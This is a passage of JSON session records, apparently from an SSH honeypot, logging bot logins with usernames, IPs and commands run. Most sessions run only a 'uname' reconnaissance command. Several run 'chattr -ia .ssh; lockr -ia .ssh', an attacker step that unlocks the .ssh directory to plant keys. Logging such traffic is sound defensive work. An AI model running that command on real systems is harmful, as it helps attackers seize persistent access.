  "name": "hearty-thrifty-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47218,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 550,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:49.946605+00:00",
  "ended_at": "2026-08-26T12:27:55.566494+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6ca49213-7a95-4e68-9173-0f1dd1e48624",
  "name": "ginger-mossy-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44154,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 784,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:31.547669+00:00",
  "ended_at": "2026-08-26T12:27:35.119729+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70f678c3-bfc2-4eb6-b80e-89e31b43979f",
  "name": "frugal-thrifty-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42094,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:24.270686+00:00",
  "ended_at": "2026-08-26T12:27:29.491068+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9f5fbca9-4515-4524-8f88-9cb915adef04",
  "name": "dappled-opal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54992,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:27:10.215753+00:00",
  "ended_at": "2026-08-26T12:27:16.188252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f434af29-f07b-449e-94c6-f4040c81372c",
  "name": "frank-vaulted-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:09.866446+00:00",
  "ended_at": "2026-08-26T12:27:13.502567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70caa483-d8e2-4322-9107-5ae0ec5a6cd2",
  "name": "regal-rapid-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39506,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:27:06.742294+00:00",
  "ended_at": "2026-08-26T12:27:16.187331+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "c32ebe11-54ab-42b9-a66c-2af96407c1ca",
  "name": "electric-drifting-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.178.185.141",
  "src_port": 49798,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:27:04.539254+00:00",
  "ended_at": "2026-08-26T12:27:06.076539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea5eafd0-56e0-4e9c-b323-3593a956b67c",
  "name": "emerald-lonesome-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47226,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:26:50.425093+00:00",
  "ended_at": "2026-08-26T12:26:57.056133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22e9beb5-6805-4123-b182-9b2312aab808",
  "name": "misty-feathered-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51532,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 561,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:45.725258+00:00",
  "ended_at": "2026-08-26T12:26:57.057729+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "76115ea6-5092-4f2c-b113-2e1a5ff1980e",
  "name": "coastal-lucid-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:44.526508+00:00",
  "ended_at": "2026-08-26T12:26:48.810663+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "93437396-3d9d-4b61-adb7-43384cec9f9e",
  "name": "western-crystal-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53686,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 453,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:19.500066+00:00",
  "ended_at": "2026-08-26T12:26:26.370066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90967c2e-631d-4651-b13d-c1a3a302f9ba",
  "name": "hushed-daring-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 878,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:26:11.600364+00:00",
  "ended_at": "2026-08-26T12:26:12.993685+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0aaf5af2-f18d-4bca-8baf-cb48584537ab",
  "name": "tangled-crisp-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 39574,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:26:07.536340+00:00",
  "ended_at": "2026-08-26T12:26:12.036036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25af2650-6bb3-484e-b902-109c70b6be27",
  "name": "buoyant-opal-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48656,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:03.769367+00:00",
  "ended_at": "2026-08-26T12:26:08.307632+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8ddacb8-359d-426e-af62-b56abc918df0",
  "name": "emerald-dusky-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51586,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 939,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:26:01.785590+00:00",
  "ended_at": "2026-08-26T12:26:12.040390+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "1c15d8ba-24de-43f6-a63a-d97a58f01e86",
  "name": "granite-alpine-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54290,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:57.439508+00:00",
  "ended_at": "2026-08-26T12:26:00.675007+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da32af1c-c6a1-491e-9c2f-1798d9b3fb30",
  "name": "shifting-plush-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:46.507247+00:00",
  "ended_at": "2026-08-26T12:25:47.346293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "516e696d-2d28-4906-b446-49d923519d32",
  "name": "smoky-stoic-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46704,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:42.991173+00:00",
  "ended_at": "2026-08-26T12:25:44.742277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03b9353a-308b-4b34-80a1-0367ef2b55e2",
  "name": "marine-cheerful-weasel",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "82.24.34.39",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:42.822925+00:00",
  "ended_at": "2026-08-26T12:40:56.691572+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a2a65e9-5934-4a35-b007-bb0a8890fbe5",
  "name": "rambling-idle-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59374,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 640,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:41.728186+00:00",
  "ended_at": "2026-08-26T12:25:47.716533+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f3bffe3a-f925-4cb0-881b-fadd46ae51f4",
  "name": "austere-gnarled-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 60674,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:25:26.582652+00:00",
  "ended_at": "2026-08-26T12:25:27.329372+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "cce6be0c-65cc-4990-8489-528051c47a9d",
  "name": "ginger-reedy-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45182,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 690,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:24.759398+00:00",
  "ended_at": "2026-08-26T12:25:28.169147+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1631f87f-dc90-4989-ac43-bea1776aa97b",
  "name": "serene-lucid-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 48672,
  "username": "martin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:14.027903+00:00",
  "ended_at": "2026-08-26T12:25:21.946195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8d25557-7644-42af-9d8d-d3d21b00a1c2",
  "name": "noble-calm-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 888,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:12.185280+00:00",
  "ended_at": "2026-08-26T12:25:16.947162+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5297858c-7435-4f85-b945-8272d31900f2",
  "name": "spirited-courtly-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37588,
  "username": "martin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 511,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:04.962097+00:00",
  "ended_at": "2026-08-26T12:25:21.947510+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "cdc27ecd-683e-46f4-9005-561cee45df53",
  "name": "ivory-rustic-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 60686,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:25:04.776185+00:00",
  "ended_at": "2026-08-26T12:25:06.408970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7777053d-8b6b-45d7-ae8b-8b53cfc5914e",
  "name": "freckled-genial-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 665,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:25:03.725810+00:00",
  "ended_at": "2026-08-26T12:25:08.584080+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d0080dd-fd0c-48b8-896c-0520095fbe2d",
  "name": "leafy-windswept-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43250,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 519,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:24:43.715570+00:00",
  "ended_at": "2026-08-26T12:24:48.329529+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fd642fd7-c161-4130-a53e-430999a18169",
  "name": "burly-diligent-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41762,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:24:23.880609+00:00",
  "ended_at": "2026-08-26T12:24:29.480016+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ada96fc-efe5-4ed0-b6a8-1ae80d370230",
  "name": "proud-frugal-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.225.139.200",
  "src_port": 57233,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:24:15.591667+00:00",
  "ended_at": "2026-08-26T12:24:16.482526+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bfad896-a9ba-4e51-a999-495caf0f4ac3",
  "name": "misty-nimble-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50544,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 599,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:24:11.596496+00:00",
  "ended_at": "2026-08-26T12:24:16.316675+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f7ff9b1-89fe-415c-906f-9246219f73ae",
  "name": "alpine-amber-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 582,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:24:05.810476+00:00",
  "ended_at": "2026-08-26T12:24:10.358196+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "07fc4f88-4eb5-46d2-96f7-3b5605152b75",
  "name": "chilly-earnest-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:49.606565+00:00",
  "ended_at": "2026-08-26T12:23:53.958908+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a79afc1b-5d67-4372-91b6-cf26228ad2c8",
  "name": "verdant-lanky-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46502,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 859,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:23:35.889598+00:00",
  "ended_at": "2026-08-26T12:23:37.501096+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "4a4b6b96-558c-4f7b-84f7-33fd31af7eaa",
  "name": "genial-rapid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:33.922785+00:00",
  "ended_at": "2026-08-26T12:23:39.708119+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e02e517b-9c16-448f-9e08-91fa58804808",
  "name": "alpine-frank-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41800,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:20.877688+00:00",
  "ended_at": "2026-08-26T12:23:25.314861+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "095e506b-2171-4ea4-8c00-db3c299b53f2",
  "name": "somber-steady-harrier",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46518,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:23:11.998484+00:00",
  "ended_at": "2026-08-26T12:23:13.292815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "732eb02d-7e4c-4e4d-acbe-30932db88061",
  "name": "fabled-early-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49164,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 340,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:23:08.542665+00:00",
  "ended_at": "2026-08-26T12:23:14.735199+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18e69e2d-0cf6-4da1-8bbd-391dd445256c",
  "name": "scarlet-smoky-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:23:08.105085+00:00",
  "ended_at": "2026-08-26T12:23:10.194818+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cbab34e-8206-4297-a5ad-82138ec62178",
  "name": "painted-mottled-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37612,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 599,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:59.077689+00:00",
  "ended_at": "2026-08-26T12:23:05.319918+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "57ec08cf-9d82-4edb-ac0f-26121f7995de",
  "name": "blithe-quaint-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56414,
  "username": "zahra",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:22:44.447382+00:00",
  "ended_at": "2026-08-26T12:22:48.308255+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63a598f2-3ffb-402e-8a28-649f0e316c9c",
  "name": "sleepy-hazy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59272,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:43.787190+00:00",
  "ended_at": "2026-08-26T12:22:48.636961+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "635c073b-f05f-44a5-a331-9f013ef1afb4",
  "name": "fickle-amiable-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37830,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:22:40.432158+00:00",
  "ended_at": "2026-08-26T12:22:44.792583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85572ab0-4c06-4901-9820-b01da7da418d",
  "name": "painted-deft-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40542,
  "username": "zahra",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:38.479644+00:00",
  "ended_at": "2026-08-26T12:22:48.309379+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "5dd62462-7153-43bd-840a-a3fa86b2e665",
  "name": "fringed-hazy-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39574,
  "username": "runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:32.872559+00:00",
  "ended_at": "2026-08-26T12:22:44.790839+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1654
 },
 {
  "id": "306a2e79-1e91-4184-a072-906ee5958514",
  "name": "golden-smooth-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41740,
  "username": "vpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:22:22.550398+00:00",
  "ended_at": "2026-08-26T12:22:26.609723+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19072d2b-c110-4cde-a765-fa1aaf18031f",
  "name": "weathered-wandering-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52422,
  "username": "vpn",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:18.610887+00:00",
  "ended_at": "2026-08-26T12:22:26.608338+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "ad0ec1b5-622c-4860-adad-dcce53e4c8f2",
  "name": "indigo-prairie-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37632,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:22:06.153095+00:00",
  "ended_at": "2026-08-26T12:22:10.748684+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b76d85c1-54c2-4745-8edb-3af002f98aca",
  "name": "gritty-lonesome-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51808,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 400,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:22:00.796645+00:00",
  "ended_at": "2026-08-26T12:22:10.749960+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "7a14dae9-a68f-40d8-a72b-69a49774981e",
  "name": "hushed-crisp-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39678,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:21:39.700390+00:00",
  "ended_at": "2026-08-26T12:21:43.368441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fc4b91cf-99ed-4f15-9858-4f7c0196fe51",
  "name": "hardy-austere-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
